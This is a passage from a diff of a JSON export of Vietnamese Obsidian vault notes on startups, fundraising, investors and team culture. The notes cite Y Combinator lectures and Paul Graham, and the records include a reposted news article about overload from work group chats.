dựng tổ chức/Quỹ, gọi vốn/Gọi vốn cộng đồng/Patreon vận hành gần giống như một cuộc mua bán hơn là hoàn toàn ủng hộ", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Điều đó khiến cho [[Việc kể ý tưởng startup ra thường không phải là nguy hiểm, vì không ai cạnh tranh với ý tưởng tồi]]\n[[Những nhiệm vụ thách thức làm nhiều người thấy thú vị hơn]] \nNguồn:: [[Y Combinator]], ![Lecture 1 - How to Start a Startup (Sam Altman, Dustin Moskovitz) - YouTube](https://youtu.be/CBYhVcO4WgI?si=s6BJ5d8ZT3xjJXOB&t=564)", + "Toàn bộ nội dung": "[[Patreon quảng cáo theo ngôn ngữ của kinh tế quà tặng, nhưng cách vận hành lại theo kinh tế thị trường]] \r\nNguồn:: [[Maggie Appleton]], [MA 11: Maggie Appleton on Open Source as a Gift Economy - Maintainers Anonymous](https://maintainersanonymous.com/gift/#t=29:34)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-11-26T08:25:00.000Z", - "id": "LJ" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "id": "LX" }, { - "Tiêu đề": "Sự đơn giản ép ta phải làm nó cực kỳ tốt", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Thành lập dự án/Startup/Sự đơn giản ép ta phải làm nó cực kỳ tốt", + "Tiêu đề": "Nhà đầu tư tìm kiếm tiền trong vụ đầu tư", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Gọn vốn đầu tư/Nhà đầu tư tìm kiếm tiền trong vụ đầu tư", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: [[Đơn giản]]\n\nNguồn:: [[Y Combinator]], [Lecture 1 - How to Start a Startup (Sam Altman, Dustin Moskovitz) - YouTube](https://youtu.be/CBYhVcO4WgI?si=SUIPs0AyeGf_MCsM&t=1227)\n\nTuy nhiên, không phải cái gì đơn giản cũng là đúng. Hệ thống nhị nguyên cũng đơn giản. Và ngoài ra, có những thứ đơn giản nhưng ta không thấy được sự đơn giản đó. Hệ thống nhị phân không hề đơn giản với ta.\n\nMâu thuẫn với:: [[Chỉ theo đuổi một chỉ số là quá đơn giản]]\n\n[[Làm thứ phức tạp hơn thì dễ, làm thứ tốt hơn thì khó]] \n[[Quá trình chú ý và ghi nhớ ép ta phải đơn giản]]", + "Toàn bộ nội dung": "- Large upside opportunity through an exit, usually M&A\n- Good problem-solution set (product-market fit)\n- Clearly identified markets and channels \n- Cohensive teams that work well together\n- Understaing of competitive pressure \n\n2 usually reasons for failing:\n- Not having a good problem-solution set (product-market fit)\n- Not having a cohensive teams that work well together\n\n[[Nhà đầu tư đầu tư vào việc kinh doanh, không phải ý tưởng]]z\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-02-05T05:44:00.000Z", - "id": "LK" + "Ngày tạo": "2023-06-07T11:30:00.000Z", + "Ngày cập nhật": "2023-11-09T09:13:00.000Z", + "id": "LY" }, { - "Tiêu đề": "Việc kể ý tưởng startup ra thường không phải là nguy hiểm, vì không ai cạnh tranh với ý tưởng tồi", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Thành lập dự án/Startup/Việc kể ý tưởng startup ra thường không phải là nguy hiểm, vì không ai cạnh tranh với ý tưởng tồi", + "Tiêu đề": "Nhà đầu tư tốt nhất đầu tư vào những startup chưa có câu chuyện thuyết phục, vì khi đã có câu chuyện thuyết phục rồi thì startup có giá đắt hơn", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Gọn vốn đầu tư/Nhà đầu tư tốt nhất đầu tư vào những startup chưa có câu chuyện thuyết phục, vì khi đã có câu chuyện thuyết phục rồi thì startup có giá đắt hơn", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lý do:: [[Startup giải quyết những vấn đề nghe thì tồi]]\nNguồn:: [[Y Combinator]], ![Lecture 1 - How to Start a Startup (Sam Altman, Dustin Moskovitz) - YouTube](https://youtu.be/CBYhVcO4WgI?si=s6BJ5d8ZT3xjJXOB&t=564)\n", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [[Y Combinator]], ![Fundraising Fundamentals By Geoff Ralston - YouTube](https://youtu.be/gcevHkNGrWQ?si=4bf979YwrNVck3rM&t=614)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-11-26T05:08:00.000Z", - "Ngày cập nhật": "2023-11-26T08:25:00.000Z", - "id": "LL" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2023-11-27T15:59:00.000Z", + "id": "LZ" }, { - "Tiêu đề": "Đa số startup không chết vì cạnh tranh với đối thủ, mà vì không có người dùng sản phẩm của mình", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Thành lập dự án/Startup/Đa số startup không chết vì cạnh tranh với đối thủ, mà vì không có người dùng sản phẩm của mình", + "Tiêu đề": "Nhà đầu tư đầu tư vào việc kinh doanh, không phải ý tưởng", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Gọn vốn đầu tư/Nhà đầu tư đầu tư vào việc kinh doanh, không phải ý tưởng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Nhà đầu tư không ăn cắp ý tưởng vì phải cạnh tranh với các nhà đầu tư khác]]\n[[Làm thứ một số người rất cần quan trọng hơn là làm thứ nhiều người thấy hay]]\nNguồn:: [[Y Combinator]], ![Lecture 1 - How to Start a Startup (Sam Altman, Dustin Moskovitz) - YouTube](https://youtu.be/CBYhVcO4WgI?si=8bWctnhK7TgZV07v&t=1216)\n\n[[Đừng nhìn vào đối thủ cạnh tranh, mà hãy nhìn vào người dùng]]\n\n![The single biggest reason why start-ups succeed | Bill Gross - YouTube](https://youtu.be/bNpx7gpSqbY?si=uSRqm4L6caIKKr2I)\n\n[Do things that don't scale : YC Startup Library | Y Combinator](https://www.ycombinator.com/library/96-do-things-that-don-t-scale)", + "Toàn bộ nội dung": "Khái niệm:: [[Ý tưởng]], [[Đầu tư]]\n- You must show them scalable and sustainable opportunities\n- Demonstrate awareness of comprehensive business management\n- You must create confidence that youưqq221b understand boring business operations\n- Creating an extensive network of similar teams and businesses is very helpful\n- Mastery of these\n\n[[Thứ quyết định hiệu quả của việc kinh doanh là văn hoá doanh nghiệp và phản ứng của thị trường về mình]]\n[[Để gọi vốn thì rất cần nắm chắc những con số]]\n[[Thứ quan trọng không phải là ý tưởng, mà là người có ý tưởng]] ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-11-27T08:05:00.000Z", - "id": "LM" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-12-06T12:52:00.000Z", + "id": "La" }, { - "Tiêu đề": "Đừng nhìn vào đối thủ cạnh tranh, mà hãy nhìn vào người dùng", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Thành lập dự án/Startup/Đừng nhìn vào đối thủ cạnh tranh, mà hãy nhìn vào người dùng", + "Tiêu đề": "Nếu không thế nói về thành tựu của mình thì hãy nói về tốc độ của mình", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Gọn vốn đầu tư/Nếu không thế nói về thành tựu của mình thì hãy nói về tốc độ của mình", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [[Y Combinator]], ![David Rusenko - How To Find Product Market Fit - YouTube](https://youtu.be/0LNQxT9LvM0?si=EZU5bHjpxNDong86&t=3326)", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [[Y Combinator]], [Lecture 19 - Sales and Marketing; How to Talk to Investors (Tyler Bosmeny; YC Partners) - YouTube](https://www.youtube.com/watch?v=SHAh6WKBgiE)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-11-27T08:05:00.000Z", - "id": "LN" + "Ngày cập nhật": "2023-11-23T07:38:00.000Z", + "id": "Lb" }, { - "Tiêu đề": "Thành lập dự án", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Thành lập dự án/Thành lập dự án", + "Tiêu đề": "Thiên thần dùng tiền của bản thân. VC dùng tiền của người khác", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Gọn vốn đầu tư/Thiên thần dùng tiền của bản thân. VC dùng tiền của người khác", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nFROM \"⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Startup\" \nWHERE file.name!=this.file.name\nGROUP BY split(file.folder, \"/\")[2]\n```\n\n\n[[Chiếm lĩnh thị trường nhỏ trước]]\n[[Chỉ nên nghĩ về viral khi đã có một lượng người thực sự sử dụng sản phẩm của mình]]\n[[Hiểu về quản trị chỉ cần thiết khi đã có thành công bước đầu. Trước đó thì hãy chỉ tập trung vào sản phẩm]]\n[[Không có giải pháp nào cho người sáng lập để giải quyết sự quá tải ngoài những lời khuyên chung chung]]\n[[Những dự án ngoài lề thường là ý tưởng tốt cho startup. Những ý tưởng chỉ để có một startup lại thường không tốt]]\n[[Startup = tăng trưởng]]\n[[Startup giải quyết những vấn đề nghe thì tồi]]\n[[Tăng trưởng của thị trường quan trọng hơn tăng trưởng doanh số]]\n[[Tăng trưởng là khoảng cách giữa chuyển đổi và rời bỏ]]\n[[Trực giác về con người thường đúng. Trực giác về cách startup hoạt động thường sai]]\n[[Tỉ lệ quay lại là thứ quan trọng nhất trong tăng trưởng]]\n[[Từng làm chung với nhau trước khi tuyển dụng sẽ tốt hơn là phỏng vấn]]\n[[Đa số startup không chết vì cạnh tranh với đối thủ, mà vì không có người dùng sản phẩm của mình]]\n[[Làm người sáng lập có hại cho việc cân bằng cuộc sống]]", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-11-05T12:53:00.000Z", - "Ngày cập nhật": "2023-11-13T06:28:00.000Z", - "id": "LO" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2023-11-27T15:59:00.000Z", + "id": "Lc" }, { - "Tiêu đề": "Trực giác về con người thường đúng. Trực giác về cách startup hoạt động thường sai", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Thành lập dự án/Trực giác về con người thường đúng. Trực giác về cách startup hoạt động thường sai", + "Tiêu đề": "Thứ quan trọng không phải là ý tưởng, mà là người có ý tưởng", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Gọn vốn đầu tư/Thứ quan trọng không phải là ý tưởng, mà là người có ý tưởng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: [[Trực giác]]\n[[Trực giác là việc nhìn ra mẫu hình không hơn không kém]]\nNguồn:: [[Y Combinator]], ![Lecture 3 - Before the Startup (Paul Graham) - YouTube](https://www.youtube.com/watch?v=ii1jcLg-eIQ)", + "Toàn bộ nội dung": "Khái niệm:: [[Ý tưởng]]\n[[Nhà đầu tư đầu tư vào bạn và vào câu chuyện của startup]]\nNguồn:: [[Paul Graham]], [How to Start a Startup](http://www.paulgraham.com/start.html)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-11-17T15:31:00.000Z", - "id": "LP" + "Ngày cập nhật": "2023-12-06T12:54:00.000Z", + "id": "Ld" }, { - "Tiêu đề": "Gốc của thương hiệu là văn hoá doanh nghiệp", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Xây dựng nhóm, quản lý nhân sự/Gốc của thương hiệu là văn hoá doanh nghiệp", + "Tiêu đề": "Thứ quyết định hiệu quả của việc kinh doanh là văn hoá doanh nghiệp và phản ứng của thị trường về mình", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Gọn vốn đầu tư/Thứ quyết định hiệu quả của việc kinh doanh là văn hoá doanh nghiệp và phản ứng của thị trường về mình", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: [[Văn hoá]]\n\n[[Thứ quyết định hiệu quả của việc kinh doanh là văn hoá doanh nghiệp và phản ứng của thị trường về mình]]\nNguồn:: [[ABG Open Special 2023]], Võ Trí Thành\n\n[[Văn hoá tổ chức là những giá trị, niềm tin và hành động của mỗi thành viên giúp đóng góp cho sứ mạng của nó]]\n[[Văn hoá là một tập hợp các văn bản]]. [[Văn hoá có liên quan chặt chẽ đến biểu tượng]]", + "Toàn bộ nội dung": "[[Gốc của thương hiệu là văn hoá doanh nghiệp]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-12-06T10:22:00.000Z", - "id": "LQ" + "Ngày cập nhật": "2023-11-28T08:13:00.000Z", + "id": "Le" }, { - "Tiêu đề": "Không nên có quá 20 nhân sự khi chưa có sản phẩm phù hợp thị trường", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Xây dựng nhóm, quản lý nhân sự/Không nên có quá 20 nhân sự khi chưa có sản phẩm phù hợp thị trường", + "Tiêu đề": "Để gọi vốn thì rất cần nắm chắc những con số", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Gọn vốn đầu tư/Để gọi vốn thì rất cần nắm chắc những con số", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \nNhiều người thì không tối ưu cho việc tìm sản phẩm phù hợp thị trường. Hơn nữa, khi số lượng thành viên lớn thì cấu trúc không thể nào phẳng được nữa mà phải bắt đầu phân cấp. Mà như vậy thì sẽ đánh mất lợi thế linh hoạt so với các tổ chức đã có sự phân cấp rồi\n\nNguồn:: [[Y Combinator]], ![David Rusenko - How To Find Product Market Fit - YouTube](https://youtu.be/0LNQxT9LvM0?si=2B_RaGTRgSlgpB4J&t=2140)", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-12-06T10:22:00.000Z", - "id": "LR" + "Ngày tạo": "2023-06-07T11:30:00.000Z", + "Ngày cập nhật": "2023-11-09T09:14:00.000Z", + "id": "Lf" }, { - "Tiêu đề": "Bội thực chat nhóm gây phân tán nguồn lực, mất tập trung, tăng rủi ro lộ dữ liệu", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Xây dựng nhóm, quản lý nhân sự/Kênh liên lạc/Bội thực chat nhóm gây phân tán nguồn lực, mất tập trung, tăng rủi ro lộ dữ liệu", + "Tiêu đề": "Định giá", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Gọn vốn đầu tư/Định giá", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Hơn 11 giờ đêm, màn hình điện thoại của Hồng Vy vẫn sáng bởi thông báo từ gần 20 nhóm chat công việc và trò chuyện cá nhân đang đổ về.\r\n\r\nVới Vy, nhân viên sáng tạo nội dung cho một công ty quảng cáo ở quận 3, TP HCM, việc nhận tin nhắn công việc hay tán gẫu trong nhóm chat lúc nửa đêm đã là một phần tất yếu của cuộc sống suốt bốn năm nay. Nhiều khi \"phát sợ khi thấy có tin nhắn\" nhưng cô gái 28 tuổi vẫn phải mở điện thoại và đọc toàn bộ cuộc trò chuyện vì sợ bỏ lỡ tin quan trọng.\r\n\r\nTin nhắn từ các ứng dụng chat hay mạng xã hội đi theo Vy suốt cả ngày. \"Không ít lần tôi mất nguyên buổi sáng chỉ để đọc và trả lời chat\", cô nói. Lúc đi máy bay, họp hành hay gặp gỡ đối tác cô phải tắt điện thoại, nhưng vừa mở máy kết nối mạng, tin nhắn đổ về cùng lúc quá nhiều khiến treo máy.\r\n\r\nTính chất công việc phải làm với nhiều bên, mỗi dự án cô phải tham gia khoảng 5 nhóm chat với đồng nghiệp, cấp trên và khách hàng qua Facebook Messenger và Zalo, ngoài ra còn Telegram, Viber, Skype. Càng nhiều dự án, số nhóm Vy phải tham gia càng tăng. Hiện cô quản lý 3 dự án với 15 nhóm công việc, chưa kể trò chuyện cá nhân.\r\n\r\nBáo cáo của một nền tảng mạng xã hội Việt Nam cho biết, trong quý I/2021 có 64 triệu người dùng với 1,7 tỷ tin nhắn được gửi đi mỗi ngày. Hồng Vy là một trong số đó và những người trong nhóm tuổi 18-35 như cô góp phần đưa Việt Nam trở thành cường quốc về số người dùng mạng xã hội và ứng dụng nhắn tin. Số liệu thống kê tính tới tháng 7/2022 của NapoleonCat (công cụ đo lường các chỉ số mạng xã hội), tổng số người dùng Facebook tại Việt Nam là gần 76 triệu. Trong số này, có 54 triệu thường xuyên dùng ứng dụng chat (Messenger), đứng thứ 5 thế giới sau các nước Ấn Độ, Brazil, Mexico và Philippines.\r\n\r\nNền tảng nhắn tin Viber công bố có hơn 30 triệu người dùng Việt. Telegram chưa có con số thống kê cụ thể, nhưng đang được coi là \"ngôi sao đang lên\" trong số các ứng dụng chat ở Việt Nam.\r\n\r\nNgoài việc phải ngụp lặn trong hàng chục nhóm chat công việc, chị Thanh Thúy, 35 tuổi, ở quận Hoàng Mai, Hà Nội là thành viên của 7 nhóm chat, gồm 4 nhóm giữa phụ huynh và giáo viên chủ nhiệm của hai con 10 tuổi và 4 tuổi, nhóm cư dân chung cư với ban quản lý, nhóm các hộ gia đình cùng tầng và hội bạn thân...\r\n\r\nKhông thể tắt thông báo hay rời nhóm vì mắc hội chứng FOMO (Fear Of Missing Out – hội chứng sợ bỏ lỡ), chị Thúy tranh thủ giờ nghỉ để đọc toàn bộ tin nhắn. \"Biết đâu trong cuộc hội thoại kia có thông tin liên quan đến tôi. Tôi không muốn bản thân đứng bên ngoài câu chuyện, nhưng không hy vọng mất cả ngày để đọc tin nhắn\", chị kể.\r\n\r\n ![Nhiều nhân viên văn phòng than phiền khi mất nhiều thời gian trả lời các nhóm chat, không thể tập trung làm việc. Ảnh minh họa](https://i1-giadinh.vnecdn.net/2022/08/04/901c35715ae898b6c1f9-5872-1659630652.jpg?w=680&h=0&q=100&dpr=1&fit=crop&s=afiaCQDdNXjlJkJHvV0TlA)\r\n\r\nNhiều người than phiền mất thời gian đọc và trả lời các nhóm chat, không thể tập trung làm việc, gây ảnh hưởng đến cuộc sống. Ảnh minh họa: _M.P_\r\n\r\nSố người bị bội thực trong các nhóm chat như Hồng Vy hay Thanh Thúy không ít. PGS.TS Nguyễn Đức Lộc, Viện trưởng Viện Social Life cho biết, sự ra đời của các nhóm chat phục vụ công việc, giải trí là điều đương nhiên, nhất là khi công nghệ thông tin và các ứng dụng mạng xã hội phát triển mạnh.\r\n\r\nKhông phủ nhận tiện ích và chi phí thấp của công cụ chat, nhưng chuyên gia cảnh báo có không ít mặt trái của hiện tượng này như lạm dụng dẫn đến mất nhiều thời gian; ranh giới giữa công việc và đời sống cá nhân bị xóa nhòa; rủi ro lộ thông tin; tâm lý lo sợ bị cô lập trong tập thể; hoặc là một trong những yếu tố ảnh hưởng đến hạnh phúc gia đình.\r\n\r\nHồng Vy thừa nhận, nhiều ngày vì mất quá nhiều thời gian trả lời tin nhắn, gồm cả những nội dung không liên quan đến công việc khiến cô phải làm thêm ngoài giờ để giải quyết các đầu việc chính như lên ý tưởng mới, làm kế hoạch hoặc gửi email cho đối tác.\r\n\r\nNgoài mất thời gian, cô gái 28 tuổi nhận thấy ranh giới giữa công việc và đời sống cá nhân bị đe dọa bởi chat. \"Có lẽ vì quá tiện nên mỗi khi online, sếp lầm tưởng tôi đều sẵn sàng nhận việc, bất kể giờ giấc\", Vy nói. Đặc biệt định kiến nhân viên nhận tin nhắn nhưng không đọc hoặc không trả lời ngay bị cho là thiếu chuyên nghiệp, coi thường sếp, càng khiến cô căng thẳng khi nhận việc sau giờ làm. \"Đó là lý do tôi lúc nào cũng có cảm giác ngập trong công việc và ám ảnh mỗi khi thấy có tin nhắn\", cô kể.\r\n\r\nChính Justin Santamaria, cựu kỹ sư của Apple, cha đẻ của ứng dụng nhắn tin iMessage từng nhắc đến hiện tượng này trên tờ _Wired.com._ Ông nhận xét, sự phổ biến của các công cụ chat khiến mọi người trở nên bất lịch sự hơn. \"Ban đầu, người ta còn cẩn thận mở đầu bằng cụm từ 'Không gấp, trả lời khi nào bạn có thể' hay khi nhấc máy gọi điện, người gọi thường hỏi: Bạn có rảnh không?, với môi trường chat, chúng ta chỉ gửi tin mà không cần suy nghĩ\", Justin phát biểu.\r\n\r\nVới Thanh Thúy, chú tâm vào các nhóm chat khiến chị thường xuyên đón con muộn, để nhà cửa bừa bộn và làm cháy đồ ăn. Điều này khiến chồng chị khó chịu, thậm chí nghi ngờ vợ không chung thủy khi nhắn tin từ sáng đến đêm, bỏ bê gia đình. \"Vợ chồng tôi liên tục cãi vã, không muốn nói chuyện và từng có ý định ly hôn vì điều này\", chị bộc bạch.\r\n\r\nTrái ngược với một số người bị bội thực tin nhắn, Trang Hà, 27 tuổi, ở quận Hoàn Kiếm (Hà Nội) luôn khao khát được đồng nghiệp thêm vào các nhóm trò chuyện bí mật ở công ty, tránh cảm giác bị cô lập. \"Tôi biết nhiều đồng nghiệp trong phòng có nhóm chat riêng và chỉ chia sẻ các thông tin mật. Thi thoảng một vài người đột nhiên nhìn nhau cười hay chẳng may nhắn nhầm nhóm. Mọi thông tin tôi luôn là người biết cuối cùng\", cô thở dài.\r\n\r\nĐể tránh cảm giác bất an, sợ hãi, lo sợ bản thân bị nói xấu trong nhóm chat, cô gái 27 tuổi cố lấy lòng đồng nghiệp. \"Họ nhờ gì tôi cũng giúp. Khi có lòng tin, tôi sẽ được thêm vào các nhóm chat, tránh cảm giác mình là người ngoài cuộc\", nữ nhân viên bộc bạch.\r\n\r\nNhưng tham gia nhiều nhóm chat cùng lúc, dễ khiến người dùng gặp sự cố lộ thông tin mật. Gia Bảo, 30 tuổi, quận 1 (TP HCM) từng gửi nhầm bản thiết kế website vào nhóm đồng nghiệp cũ và bị ăn cắp ý tưởng. Không thể chứng minh được sản phẩm của bản thân khi đồng nghiệp cũ nhanh tay gửi bản kế hoạch và được phê duyệt, Bảo buộc phải cấp tốc nghĩ ra phương án thay thế.\r\n\r\n\"Nếu gửi bằng email có độ bảo mật cao, cần nhiều thao tác kiểm tra thông tin, có lẽ tôi đã không mắc sai lầm. Chat nhóm hiện đại, tiện dụng vẫn những nhược điểm\", anh nói.\r\n\r\nTuy nhiên, sự phát triển của công nghệ thông tin và các ứng dụng online chat không phải là nguyên nhân khiến người dùng bị bội thực thông tin. \"Ngược lại, chúng có thể làm tốt chức năng truyền tải thông tin, hỗ trợ cuộc sống nếu sử dụng đúng cách\", chuyên gia văn hóa Nguyễn Hùng Vĩ nhận định.\r\n\r\nTheo ông Vĩ, hai năm dịch bệnh khiến chat nhóm bùng nổ và trở nên hữu ích, khi giải quyết công việc từ xa. \"Nhưng khi kết thúc công việc cần xóa bỏ, khuyến khích các thành viên tự rời đi hoặc lập các quy tắc chia sẻ thông tin nếu muốn duy trì nhóm\", ông Vĩ nói và cho rằng thay vì đổ lỗi cho công nghệ, mỗi người phải tự điều chỉnh, tránh gây ảnh hưởng đến hiệu suất làm việc và chất lượng cuộc sống.\r\n\r\nGia Hân, 28 tuổi, quận Thanh Xuân (Hà Nội), trưởng phòng phát triển sản phẩm, được thêm vào hơn 20 nhóm chat nhưng cô chưa từng bị bội thực tin nhắn, khi chủ động phân rõ cấp độ phản hồi theo thứ tự: rất quan trọng, quan trọng và thông thường.\r\n\r\nNhóm quan trọng luôn được bật thông báo. Các nhóm trò chuyện với bạn bè, đồng nghiệp ngoài công việc thường bị ẩn hoặc chuyển sang chế độ tắt. \"Việc phân nhóm giúp tôi không bị khủng bố tin nhắn, tránh được các cuộc nói chuyện phiếm trong giờ làm. Công việc được giải quyết nhanh, nâng cao hiệu suất làm việc, người lao động không phải tăng ca hoặc làm đêm\", nữ quản lý bày tỏ.\r\n\r\nTheo PGS.TS Nguyễn Đức Lộc, một số doanh nghiệp đã nhận thấy sự bất cập khi nhân viên sử dụng nhiều nhóm chat trong giờ làm. Chúng không chỉ gây phân tán nguồn lực, mất tập trung, thậm chí nhiều nơi lo ngại rủi ro lộ dữ liệu, buộc họ đưa ra các giải pháp như cài đặt hệ thống mạng Internet nội bộ để quản lý nhân viên hoặc ra quy định cấm dùng Facebook, Zalo trong thời gian làm việc.\r\n\r\n\"Nhưng các biện pháp đưa ra chỉ là mô hình thiết chế cứng. Thay vào đó nhà quản lý có thể tạo ra những động lực làm việc tích cực tương ứng với giá trị thu lại, như quản lý bằng KPI hoặc lương trả theo sản phẩm. Người lao động được tự do, thoải mái nhưng vẫn đảm bảo công việc\", ông Lộc nói.\r\n\r\nCòn với Hồng Vy, cô đang tập thói quen tắt và không trả lời tin nhắn từ bạn bè, người thân trong giờ làm, từ chối nhận việc khi tan sở. Riêng nhóm công việc sẽ tự thoát, xóa khi kết thúc dự án. \"Tôi buộc phải đưa ra các biện pháp bảo vệ chính mình\", Vy tâm sự.\r\n\r\n**Quỳnh Nguyễn**\r\n\r\nNguồn:: [Bội thực chat nhóm](https://vnexpress.net/boi-thuc-chat-nhom-4500761.html)\r\n", + "Toàn bộ nội dung": "Khái niệm:: \n\n![Khởi nghiệp - Tìm hiểu 3 phương pháp định giá doanh nghiệp khởi nghiệp - YouTube](https://youtu.be/cMXfsxa37iM?si=Ht9qyuJC0kuFVZgu)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-12-06T10:22:00.000Z", - "id": "LS" + "Ngày cập nhật": "2023-11-29T15:49:00.000Z", + "id": "Lg" }, { - "Tiêu đề": "Có sự đánh đổi giữa quá tải thông tin và cập nhật thông tin kịp thời", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Xây dựng nhóm, quản lý nhân sự/Kênh liên lạc/Có sự đánh đổi giữa quá tải thông tin và cập nhật thông tin kịp thời", + "Tiêu đề": "Hãy nhắm còn đủ tiền cho khoảng 20 đến 30 lần thất bại", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Hãy nhắm còn đủ tiền cho khoảng 20 đến 30 lần thất bại", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Việc muốn các thành viên sử dụng Discord thay cho Facebook hay Zalo thường khó khăn]]\r\n", + "Toàn bộ nội dung": "Khái niệm:: [[Quỹ]], [[Sản phẩm]]\n\nNguồn:: [[Y Combinator]], ![David Rusenko - How To Find Product Market Fit - 